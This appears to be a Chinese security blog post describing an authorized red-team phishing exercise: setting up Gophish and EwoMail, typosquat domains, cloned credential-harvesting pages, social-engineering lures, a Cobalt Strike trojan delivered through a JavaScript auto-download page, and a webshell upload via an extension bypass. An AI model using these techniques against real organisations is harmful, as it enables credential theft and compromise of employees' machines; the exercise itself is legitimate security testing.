邮件钓鱼平台搭建以及基 础使用场景 - SecPulse.COM |安全脉搏

66 前言

前言

一个风和日丽的下午,和平常一样,审审漏洞,然后逛逛 其他相关的安全论坛,翻看其他大佬们的漏洞挖掘思路, 一天就这样过去了,当准备要下班的时候,发现微信一直 响个不停,心里想完了(下班无望),看来又有新项目要 开始了,于是打开微信,果不其然,自己猜对了。



邮件钓鱼演练,听到这几个词语,一脸懵逼, what???由于之前的工作一直都是以 web 挖洞为主, 突然让搞一个邮件钓鱼,可把我难住了,既然领导派下来的活,硬着头皮也得干,那就这样吧,说做就做。



心里想,既然要搞邮件钓鱼,那就先了解一下什么是邮件 钓鱼,怎么在项目中快速搭建邮件钓鱼环境以及完成钓鱼 邮件工作。

背景:

目前越来越多的红蓝对抗中,钓鱼邮件攻击使用的越来越 频繁,也是比较高效打点的一种方式,常见的钓鱼邮件 攻击一种是直接通过二维码,内嵌链接、直接索要敏感信 息等方式钓运维人员、内部人员相关的管理账号密码,另 一种通过携带 exe、execl、word 等附件(附件中要么包 含恶意宏代码、要么是远控 exe)的方式,诱导运维人 员、内部员工点击相关的附件,以达到控制运维人员或者 内部员工电脑的权限。但是一般项目中实施周期较短,并 且需要进行数据统计等,因此本次主要介绍如何通过 Gophish 和 EwoMail 快速搭建邮件钓鱼平台并介绍一次 实战钓鱼邮件场景。 概念性的内容介绍完了,那就开始着手准备相关邮件钓鱼 需要的环境吧。

准备的环境和工具

- 购买相近的域名(比如你需要针对某某公司进行 钓鱼,公司邮箱使用的是 aaa@yeesd.com,则可 购买相类似的域名,如: yeeesd.com,多了一个 小写的 e,如果不仔细去看的话,一般员工会认 为该钓鱼网站即是公司的官网地址)
- 2 台 vps(1 台搭建邮件服务器、1 台搭建 Gophish)
- Gophish 的版本 v0.9.0
- EwoMai 的版本 v1.06

具体搭建过程

Gophish 搭建

建议在 centos7(windows 中搭建 gophish,虽然比较 方便,但是如果买的 vps 不是高配版,建议不要在 windows 中搭建 gophish,经测试,太卡了) 在 github 上根据不同操作系统下载对应版本即可,本次下载如下版 本。

```
gophish-v0.9.0-linux-64bit.zip
```

https://github.com/gophish/gophish/releases

÷	\rightarrow	G	 不安全 	;
404 I	oage 1	not fo	und	

解压并启动。

```
mkdir -p /app/gophish
unzip gophish-v0.9.0-linux-64bit.zip -d /app/gophish/
cd /app/gophish/
```



此时需要修改 config.json,(如下是本次已经修改完成的,之前的配置是 127.0.0.1:3333)。

80 端口代表钓鱼网站开放的端口;后台管理页面开放的端口是 3333,默认的账号和密码是 admin/gophish。



后台直接运行,目前环境即搭建完成。

./gophish &



进行测试 首先访问钓鱼页面端口是否正常,直接访问如 下地址 http://x.x.x.x

\leftrightarrow \rightarrow G	 不安全 	;	
404 page not fo	und		

后台管理系统如下:

https://x.x.x.x:3333/



Dashboard	Da	shhoa	ard			
Campaigns	Du	511500	ii u			
Users & Groups				Phishing Success Overvie	ew.	
Email Templates	100					
Landing Pages	Success 20	••				
Sending Profiles	Xet					
Account Settings	0	12:45 1:00	1:15 1:30	1.45 2.00 2.15	2:30 2:45	3:00 3:15 3:30
User Management		Email Sent	Email Opened	Clicked Link	Submitted Data	Email Reported
Webhooks		\frown			\frown	\frown
		(146)	(20)		(•)	(•)
User Guide		$\mathbf{\nabla}$	\bigcirc		\bigcirc	\bigcirc

EwoMail 搭建

官网直接下载开源的项目。

https://gitee.com/laowu5/EwoMail

E Biree Har	14 IE YEAR PODUR	滞得 我们的云	授和項目	\$ + 🕑
开源项目 > 程序开发 > 网络服务	woMail and 🖲		(a. 1500) (c) (c) (c) (c) (c) (c) (c) (c) (c) (c	() () (1) (1) (1) (1) (1)
	Ti Pull Requests (0) (1) [1]	140 El Wiki 0 La 4	#it 00 DevDos • /	In star ors Pront I
EwoMail是基于Linux的开源自	5件服务器软件,集成了众多	\$优秀稳定的组件,是一个快	速部署、简单高效、多语言、	安全稳定的邮件解决方案
http://www.ewomail.com				
[I] 81 次提交	♪ 2 个分支	③ 1 个标签	√1个发行版	A2位贡献者
1.06 - + Pull Request +	Issue 文件 * Web IDE	口拉件		克隆/下载
1.06 * + Pull Request + ewomail 最后提交于 2月前	Issue 文件 * Web IDE	口拉件		克隆/下载。
1.06 * + Pull Request + @ ewomail 最后提交于 2月前 管 ewomail-admin	Issue 文件 Web IDE I 优化TLS 1.06版本			克羅/下戦 7月
1.06 * + Pull Request + ewomail 最后提交于 2月修 管 ewomail-admin 管 install	issue 文件・ Web IDE 0 优化れら 0 代化れら 0 代化れら	日本		克風/下松 7月1 2月1
1.05 * + Pull Request + @ evomail 最后提及于 2月州 管 evomail-admin 管 install 管 rainloop	Issue 文件 • Web IDE 1 代代にS 1.05版本 代代にS 服務webmai	日 推伸 約50go		克和/下松 7月 2月 7月
1.06 * + Pull Request + @ evomail 最后提交于 2月# P evomail-admin P install P rainloop P UCENSE	ISSUE 文件 マ Web IDE 1 代化TLS 1.06版本 代化TLS 副的webmai add LICENSE	口 抽中 的logo		克隆/下秋 7月 2月 7月 7月 8月
1.06 * + Pull Request + ewomail 最新提交于 2月# ewomail-admin install rainloop D UCENSE P README.md	issue 文件・ Web IDE I 依代にS C代にS 税役にS 税役にS 総合体での の代目の の の代目の の代目の の の代目の の の代目の の の の の の の の の の の の の の	E DMEmd.		938/746 751 251 751 851 851 751
106 •	issue 文가 · Web IDE 1008755 00875 00875 00875 8월%webmai add UCENSI update REAL	R Harte MEStogo L DME.md.		第四/下 化 7月 2月 7月 6月 7月

此处直接按照官方文档进行一步步搭建以及配置域名即可 (前期是先买好相关的相类似域名)。

http://doc.ewomail.com/docs/ewomail/install



碰到的坑如下:购买域名以及搭建 EwoMail 的 vps 建议 选择国外厂商,国内由于种种的限制,会导致出现莫名奇 妙的问题,最终搭建的效果如下所示:

http://域名:8010





新建相关的发件邮件地址即可。

		K2068*: •
	·# 邮箱管理 > 邮稿等	10
	4710.0014	
##REI\$30	RPHILICIAL	
14箱城名	姓名	
、和和本统设置	REAL AND A	
	启用	- H II
	1693	长载8-20个中持,请将他得说黑现杂世,最好也含数中和中型
	确认取好	长度8-20个字符,请将密码设置复杂册,最好包含数字和字母
		Q49

至此目前已经搭建完毕,发现搭建成功后的 Gophish 是 英文平台,本人英文属于比较菜的那种,因此花费了不少 时间,才熟悉了 Gophish 的基本使用,那就先简单介绍 一下具体的使用吧,一方面为了自己巩固,另一方面,也 方便后续其他与我碰到相同项目的同事,能够快上手搭建 钓鱼邮件平台以及展开钓鱼邮件测试。

实战钓鱼攻击

进行实战钓鱼测试时,需要提前配置好 Gophish 该系统 具有如下几个功能,均需要进行配置。

功能	简述	
Dashboard	仪表板,查看整体测试情况	
Campaigns	每次攻击前需要配置一次	
Users & Groups	用户和用户组 (添加需要进行钓鱼的邮箱和相关	基础信息)
Email Templates	电子邮件模板	
Landing Pages	需要伪造的钓鱼页面	
Sending Profiles	钓鱼邮箱发送配置	

Sending Profiles – 邮箱配置

填写刚才新建的发送邮箱地址和用户名。

New Sending Profile	×
Name:	
r	
Interface Type:	
SMTP	
From:	
ei	由于smtp的25端口被禁用了,因此需要配置 成465端口
smtp. 465	
Username:	
r@'com	
Password:	

配置完成后,需要测试一下是否可正常发送邮件,使用如下自带的测试功能(Send Test Email)。

Send Test Email	×
♥ Email Sent!	
Send Test Email to:	
asdad adas @qq.com	adasd
如下是我的 QQ 邮箱收到的测试邮件。	Cancel Send

发件人: 📕 < 时 间: 2020年 收件人:	1>]] 下午9:34 3@qq.com>	
It works!		
This is an ema	il letting you know that your gophish	
configuration v	vas successful.	
Here are the d	etails:	
Who you sent	from. Dia and a second s	
Who you sent	to:	
First Name: a	sdad	
Last Name: a	las	
Position: adas	d	
Now an send a	ome phish!	

注意点: 此处需要注意的是 Host 处,不能采用 smtp 默认端口: 25 端口,因为大部分的云厂商因为 监管要 求,为防止邮件泛滥,都将 25 端口禁用了,因此可采用 带有 SSL 的 SMTP 服务的端 口:465 端口。

Users& Groups – 邮件用户和 组

此时就可以进行下一步的配置,设置要进行钓鱼攻击的邮箱地址,"Users& Groups"。

ame.					
Group name					
+ Bulk Impo	ort Users 🔀 Down	load CSV Template			
First Nam	Last Nam	Email	Position		+ Add
how 10	entries		Search:		
Show 10	entries	email 🗘	Search: Position [©]		
First Name	entries Last Name	Email 🗘	Search: Position @qq adasd	Ê	

一般项目中或者真实测试中需要批量发送邮件,因此可通过上传 CVS 文件,进行批量添加。

*	: ×	√ f _x	First Nan	ne		
А	В	С	D	E	F	
First Name	Last Name	Email	Position			
11	22	123@qq.co	111			
11	22	124@qq.co	112			
11	22	125@qq.co	113			
11	22	126@qq.co	114			
+ Bulk Import	Users Den	Email	。通过这个进	行导入即可 Position	1	+ Add
Show 10 ~	entries			Search:		
First Name	Last Name	⇔ Email	e Po	sition [©]		
11	22	123@q	q.com 11	L	ê	
11	22	124@q	q.com 112	2	ê	
11	22	125@q	q.com 113	3	ê	
11	22	126@q	q.com 114	4	ê	
sz	das		sso	lsa	ê	
Showing 1 to 5 of	5 entries				Previous 1	Next

Email Templates – 钓鱼邮件模 板

创建相应的钓鱼邮件模板 此处钓鱼模板可直接进行编 辑,也可导入其他邮箱的模板。 方式一:自己编辑。

New Template	,
Name:	
test	
🐸 Import Email	
Subject:	
Text HTML	
$X \in \mathbb{B} \oplus \mathbb{B} + \rightarrow \# \cdot = q$	\square \blacksquare \equiv Ω \therefore \square Source \square
	Nes • Example
Contraction of the local sectors of the local secto	
L.	
{{.1racker}}	
	4
Add Tracking Image	
Add Tracking Image Add Files	
Add Tracking Image Add Files Show 10 v entries	Search:

为了后续记录邮件是否打开,可勾选上 AddTrackingImage,它将会在发送的每份邮件源码上插 入一个唯一特定的隐藏图片,当邮件被打开时,此隐藏图 片则也会被请求,以此来检测该邮件是否被打开, AddFiles 则是给邮件添加附件。如下是官方提供的其他 可以使用的参数。

ariable	Description
{{.RId}}	The target's unique ID
{{.FirstName}}	The target's first name
{{.LastName}}	The target's last name
{{.Position}}	The target's position
{{.Email}}	The target's email address
{{.From}}	The spoofed sender
{{.TrackingURL}}	The URL to the tracking handler
{{.Tracker}}	An alias for
{{.URL}}	The phishing URL

ariable	Description
{{.BaseURL}}	The base URL with the path and rid parameter stripped. Useful for making links to static files.

针对如上提供的参数进行测试。

New Template	e	>
Name:		
asdasza		
🖂 Import Email		
Subject:		
测试		
Text HTML		
× 6 8 8 4	\Rightarrow 😻 - 📾 eq. 🛤 🖬 🌐 Ω 🎇 🗎 Source Q	
B <i>I</i> S <i>I</i> _x ≟≡ ∷	i d∉ d∉ 99 Styles - Normal -	
{{.RId}} {{.FirstName}} {{.LastName}} {{.Position}} {{.Email}} {{.From}} {{.TrackingURL}} {{.Tracker}}		
body p		
Add Tracking Image		
+ Add Files		
	Soareh	
Show 10 v entries	Search.	

如下是收到的邮件结果。

重置密码	
RId: RB1S8wh FirstName: dsa LastName: sa Position: SAP Email: From: su TrackingURL: 3:	

可根据实际的钓鱼场景使用合适的参数,增加钓鱼邮件内 容的真实性。 方式二:导入其他邮箱已有模板 首先将原有的邮件导出为 eml 格式。

EDD 1 MERANINKS 1 NULSENISKI 1 ANIMATILAR 1 ANIMATINA ANIMA			
服务协议更加清晰			
594.			
S2H以会电影此间中,是因为我们正在更新Microsoft 能易协议。该协议选择于你将使用的一个成多 个 Microsoft 产品或服装,我们之间以及主该出一些外,是为了间间很们的非常并将做这些单数的对包袱 转透明,我们也是为了追踪地毯的 Microsoft 产品。最新和2086。			
Microsoft 最多协议理信与 Microsoft (或其关权公约之一) 签订的协议,该协议的实信对 Microsoft 消费实际线产品和面积的使用。			
19可以正式批判成式服装 Microsoft 服务协议。包含可以活用以同相關研究范围(今次加定)、了解符 共同式需要的原序相称。低加一合能器能改变的消磨。Microsoft 服务协会的原则将于 2020年10月 1日生活、加累的客 2020年10月1日成之后建成使用限公式中当成服务。因素子的問意更多的 Microsoft 服务协议。			
如果当不可意,到它也得在此次承求生活和得让使用这些产品环题表,并关闭目的 Microsoft %户,如 莱马泰家长或监护人,到这负责监督包约孩子对 Microsoft 产品环题美的使用肯定,包括购买方方。			
杨敏宗被用 Microsoft 产品和服务。			
dien 7 einen aufstatzerweitenste. Bildzettil Microsoft Corporation, Oner Microsoft Way, Redword, WA MICL USA.			

然后通过 notepad++ 打开,复制所有的内容。



默认会选择 Change Links to Point to Landing Page, 将图中链接替换成钓鱼页面链接,点击 import,即可成 功导入。

Template name
Mart Email
Subject:
使用条款更新
Simport Email
Subject:
使用条款更新
Text HTML
B I S I _x ﷺ ﷺ ⊕ Styles - Format -
阐明我们的条款并确保这些条款仍对您保持透明,同时也是为了涵盖新增的 ▲ Microsoft 产品、服务和功能。
Microsoft 服务协议是您与 Microsoft(或其关联公司之一)签订的协议,该协议 约束您对 Microsoft 消费类在线产品和服务的使用。
您可以在此处阅读完整版 Microsoft 服务协议。您也可以访问常见问题解答页面 (参见此处),了解有关此类更新的更多信息,包括一份最显著的变更的摘要。
1日或之 ¹ 继续使用:Link 议。
body table tbody tr to Display Text
此处
+ Add Files
Show 10 entries OK Cancel
Name

注意点:

1、如果需要去统计哪些人点开了钓鱼邮件,哪些人打开 了钓鱼页面,需要在钓鱼邮件模板 中的 html 进行更改和 添加,在 Text 中进行操作,后续是无法正常进行记录 的。

2、AddTrackingImage 功能记录不是很准确,仅作参考,因为部分邮件软件会将邮件中插入的隐藏图片识别为恶意代码,不允许显示该图片,经实际测试,大部分的邮件软件不会进行拦截的。





Landing Pages – 伪造钓鱼页面

配置好钓鱼邮件后,就可以通过 LandingPages 模块来 新建钓鱼网站页面,此处支持手写 html 文件,也可通过 导入网站功能,针对目标网页进行克隆,克隆如下登陆页 面。



点击 Import Site。

		点击Import即可
IRL:		
http.	manage/index/login	
		Cancel Import
X 6 G G	1 🖬 📥 🤌 😻 - 📖 🐃 🖬 🖬	🚆 Ω 💱 🖻 Source 🔯

效果如下所示。

	用尸登录	
我的账号 密码		
	登录	
1		

将这两个功能均选上 CaptureSubmitted Data 和 CapturePasswords,记录受害者输入的账号和密码。

Redirect to 填写该页面真实的地址,方便受害者点击完 提交按钮后,自动跳转至真正的网站。



Campaigns – 钓鱼测试

配置 Campaigns,填写 Name、选择钓鱼邮件模板、选择钓鱼网站模板、填写钓鱼网站 URL、填写发件邮箱、选择受害者邮件组。

注意点: 其中钓鱼网站 URL 根据实际钓鱼邮件测试情况,填写对应的地址,本次由于使用的是 Gophish 默认的钓鱼页面,因此填写的是本服务器的地址,(其中URL 处为了真实的进行钓鱼,也可绑定类似的域名地址,建议使用国外的域名和云 vps,由于本次搭建环境时,使用的阿里云的服务器和域名,并且域名未进行备案,导致绑定该钓鱼页面后,阿里云直接识别,并提示需要备案后,钓鱼网站才可正常使用,因此本次使用的是IP 直接进行访问)。



Name:	
ceshi	
Email Template:	
r	
Landing Page:	
ceshi	/
URL: 1	
http:// 45	
Launch Date	Send Emails By (Optional) 🛛
am	
Sending Profile:	
	👻 🖾 Send Test Emi
Groups:	

击测试。

Dashboard - 仪表板

通过如下查看钓鱼邮件测试的实际情况。





当点开邮件后,查看 gophish 平台,此时已经有相关的 打开记录,Email Opened。

Results for ceshi 点击如下地址时,则会直: 回到 Reveal Frence 2000 2000	接跳转至钓鱼的页面	Ū 。
	Campaign Timeline	
您好! 安全管理 如果不是本人操作请,,,,,,, 日期与时间: 2020年,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	а, Г	,將号被非法

类似于这样的地址:

http://x.x.x/?rid=tSdIyGl

此时查看 gophish 平台,已经有相关的记录。Clicked Link。



当输入完相关的账号和密码,则会跳转至设置好的跳转真 实地址(以便受害者更加相信此地址是真实的地址),如 下所示:



此时查看 gophish 平台,已经记录了相关的账号和密码。

Ishboard		Clicked Link		, 17th 2020 12:01:30 pm	
ampaigns		Windows (OS Ve MetaSr (Version)	rsiorc 10) undefined)		
sers & Groups					
		Submitted Data		Aj 7th 2020 12:02:39 pm	
nait remptates		Windows (OS Ve	rsion: 10)		
inding Pages		MetaSr (Version)	undefined)		
		C Replay Crede	entials		
ending Profiles		- View Details			
count Settings		· view Details	• view Details		
count settings		Parameter	Value(s)		
ser Management		original_url	http://*	.manage/index/login/manage/index/_login.html	
abbooks	(777)	account_id			
CONVORA	_	action	add		
		code			
ser Guide		mobile		_	
Di Desumentation		password	admin		
Procumentation		type	0		
		username	admin		

可通过 Export CSV 功能将目前的钓鱼情况结果导出来。

Re	Results for Copy of test						
⊗ Back	Results Raw Events	Colde Crefresh	Campaign Timeline				
	Email Sent	Email Opened	28.07.35.510 Clicked Link	Submitted Data	Email Reported		

导出的钓鱼测试结果如下所示:



小记:一些简单的钓鱼邮件场景均可通过此平台完成,也 可与其他平台进行结合使用。

可能 gophish 的伪造钓鱼页面功能无法满足需要,也可自己搞个钓鱼页面服务器,然后将 Campaigns 功能中的 URL 处填写自己构造的钓鱼页面地址即可。

常见基础钓鱼使用场景

场景一

通过模仿领导邮件,去钓运维人员、内部人员相关的个人 账号或者 *** 等敏感信息。



场景二

以最近某段时间的最新时事展开钓鱼,比如:前段时间新 冠肺炎疫情,可以以它为一个钓鱼点,发送相关的钓鱼邮 件,获取员工相关账号和密码,或者员工的个人敏感信息,如姓名、*** 号、家庭住址、家庭情况等敏感信息。

例 1:

15 L机至总体的可称首为 注件人:		
1 间: 2件。		
大家好:		
大家好: 科学戴口 一 一 新炎、流感等	轳呼吸道传染病 具	有益于公众健康,这也。 月"

口罩, 【新型冠 知识】	
Text HTML	
X B B B B A → ♥- ∞ ∞ ₱ ⊡ 田 ≣ Ω X B Source B	
B I 5 I _x i= := : : : : : : : : : : : : :	<u> </u>
	I
相关链接:国家卫生 的发《新冠肺》 口震指导建 议》的通知	I
{{.Tracker}}	Ŧ
body p a Link ×	*
Add Traci	
+ Add Files 国家、 ,	
Show 10 Protocol URL	
No data available in table	
Showing 0 to 0 of 0 entries Previous Ne	xt

例 2:

其中附件也可为 word, word 中携带包含恶意宏代码, 诱导用户点击,达到控制个人 PC 机的目的。



场景三

根据最新爆发的漏洞,然后以伪造公司安全运维管理部门 的钓鱼邮箱给全体员工发送为防范最 新漏洞,现已将最 新漏洞补丁通过邮件附件形式发放,需要大家下载附件中 最新漏洞补丁(exe 为免杀的远控木马等)如:



此处提前构造相类似的邮件平台。



的账号和密码。





邮件钓鱼演练实战

既然介绍了这么多基础知识,那就开始进行实战钓鱼邮件 演练呗,首先通过上述的钓鱼场景,构造了一个模仿领导 邮件,去钓运维人员、内部人员相关的个人账号或者 *** 等敏感信息。



通过 Gophish 发送成功后,那就静静的等鱼儿上钩呗。



然后生成相应的 exe。

图 攻击 报告	帮助						
▋▋住成后门・	HTML Application	8 🛋 📕 🗊					
約鱼攻击 ▸	MS Office Macro	user					
邮件钓鱼	Payload Generator						
	USB/CD AutoPlay						
Windows Dropper							
	Windows Executable						
	Windows Executable (S)						
		,					
Windows	Executable -	· 🗆 🗙					
生成可执行\ 行文件。 使	生成可执行Windows木马,此对话框生成Windows可执 📤 行文件。 使用Cobalt Strike Arsenal脚本(帮助 - > 🔍						
监听器: tes	监听器: test Add						
输出 Wi	输出 Windows EXE 🔹						
x64: 🔽	使用x64 payload						
sign:	Sign executable file						
http/rovors/	Generate 帮助	20.20.450					



利用钓鱼场景三进行邮件钓鱼,最终的钓鱼邮件形式如下 所示:

	κ → ₩ - ∞ ∞ ℝ ■ ⊡ ⊞ ≣ Ω X ⊙ Source Q := 4 = 4 = 1 > 9 Styles - Normal -
各位同事,大家好!	- Life de Los L'estre
近期微软发布了本, 更新,对应CVE编号:CV 下载附件即可	引安全更新补丁,其中包含一个RDP(远程桌面服务)远程代码执行漏洞的补丁 /E-2019-0708,现需要所有员工电脑需打上最新的漏洞补丁,漏洞补丁可直接
{{.Tracker}}	
body p	
Add Tracking Image	
+ Add Files	
Show 10 entries	Search:
	Name
Ľ	CVE-2019-0708漏洞补丁.exe 自

然后通过 gophish 平台去进行批量发送,这次总该可以 了吧,如下是发送成功的截图,但是一直都没有一个用户 邮箱去打开邮件,最终问了企业内部的管理员才知道,原 来是反垃圾邮件安全网关将所有携带 exe 附件的邮件均 进行拦截,才导致邮件根本就没有发送到用户的邮箱。



那既然不能携带附件,那我直接在邮件内容中嵌入一个下 载链接,不就可以了,那就再继续制作相应的钓鱼邮件样 本。

	Text HTML
然	后再制作一个钓鱼页面,作用是?当用严访问该地址 sea
时	,副会真接下载该木马。
	近期微软发布了本月安全更新补丁,其中包含一个RDP(远程桌面服务)远程代码执行漏洞的补丁更新,对应CVE编号:CVE-2019-0708,现需要所有员工电脑打上最新的漏
	漏洞补丁下载地址
	Import Site
	HTML
	B I S I Ix I= = = + + + + + + + + + + + + + + + +
	<ntml><nead> <title>漏洞补丁下载地址</title></nead></ntml>
	<body><script language="javascript" type="text/javascript"></th></tr><tr><th></th><th>window.location.href="http:// CVE-2019-0708漏洞补丁.exe";</th></tr><tr><th></th><th></script></body>
	Capture Submitted Data 🕑
1.16	

然后再次批量发送一次,等了一会,发现有不少用户收到 了该钓鱼邮件,并且打开了钓鱼邮件,说明该反垃圾邮件 安全网关仅拦截了带附件的 exe,但是并未拦截邮件正文 中嵌入链接的钓鱼邮件。



对于真实环境下的邮件钓鱼,只要能钓到一个内部员工的 相关信息或者控制该员工的终端,危害都是不可控制的。

那既然有员工都点击了,那肯定会有员工点击下载的 exe 木马的,果不其然,查看 CS,发现有两台主机已上线。



由于客户未允许进行内网渗透,因此未进一步深入利用, 至此第一个邮件钓鱼顺利完成。 想着这下可以休息了,但是当时任务要求是发送 2 到 3 个钓鱼邮件模板,那就继续再制作新类型的模板继续进行 测试。

接下来这个钓鱼模板就不再沿用携带附件木马了,通过前期的信息收集,知道他们内部使用的是某个 OA 系统, 那就伪造一个他们内部的 OA 系统页面,钓一下内部员 工的 OA 账号。

使用携带链接的钓鱼模板,估计他们内部也识别出来了, 那就伪造一个钓鱼二维码去钓内部员工的 OA 账号,邮 件模板如下所示。

手机OA	系统更新
Text	HTML
X B	🛅 🛅 📥 🏕 🕸 - 📾 🛒 🏴 🖬 🌐 Ξ Ω 💥 🖻 Source Ω
BI	C T 1= •= He He as Shilos - Normal
各位同	Styles ↓ Normal ↓ 事,大家好:
各位同 因 大家通	 ■ 1x i= i= i= i= i= i = i = i = i = i = i =

然后直接批量发送,大概等了半个多小时,发现终于有员 工点击,打开钓鱼邮件的人数不在少数。

	6)		0	0	(0
					\bigcirc		
_							
De	tails						
	cano						
Show 10	entries					Search:	
Show 10 First	entries Name	Last Name [‡]	Email [©]	Posit	ion [‡] S	Search:	Reported [‡]
Show 10 First	entries Name	Last Name 🗘	Email [‡]	Posit	ion ^{\$} S	Search:	Reported [‡]
Show 10 First	entries Name	Last Name ᅌ	Email 🗘	Posit	ion [©] S	Search:	Reported [©]

然后再等待一会,终于有员工中招了,输入了自己的 OA 账号和密码。

a second		
password		
type	0	
username		

既然已经得到了 OA 的账号和密码,那就直接通过账号 密码登录呗,如下所示,登录成功。





写邮件处,添加图片,如下所示。





正常情况下,直接将 png 后缀修改为 php 无法进行上 传,此处可将 png 改为 php. 绕过限制,真实存储到服 务器的文件名不符合 windows 命名规范,系统将自动去 掉最后的点号。



Webshell 的地址为:

http://x.x.x.x/upload_temp/2011/452122999.111.php, 冰蝎成功连接。

最高权限:



至此,钓鱼工作顺利完成了。

结尾

本文主要介绍邮件钓鱼平台的搭建(Gophish 和 EwoMail,也可使用其他平台)和具体的实战演练、最后 简单介绍常规的钓鱼邮件场景以及真实的一次钓鱼实战。

全文完

本文由 简悦 SimpRead 优化,用以提升阅读体验

使用了 全新的简悦词法分析引擎 beta, 点击查看详细说明

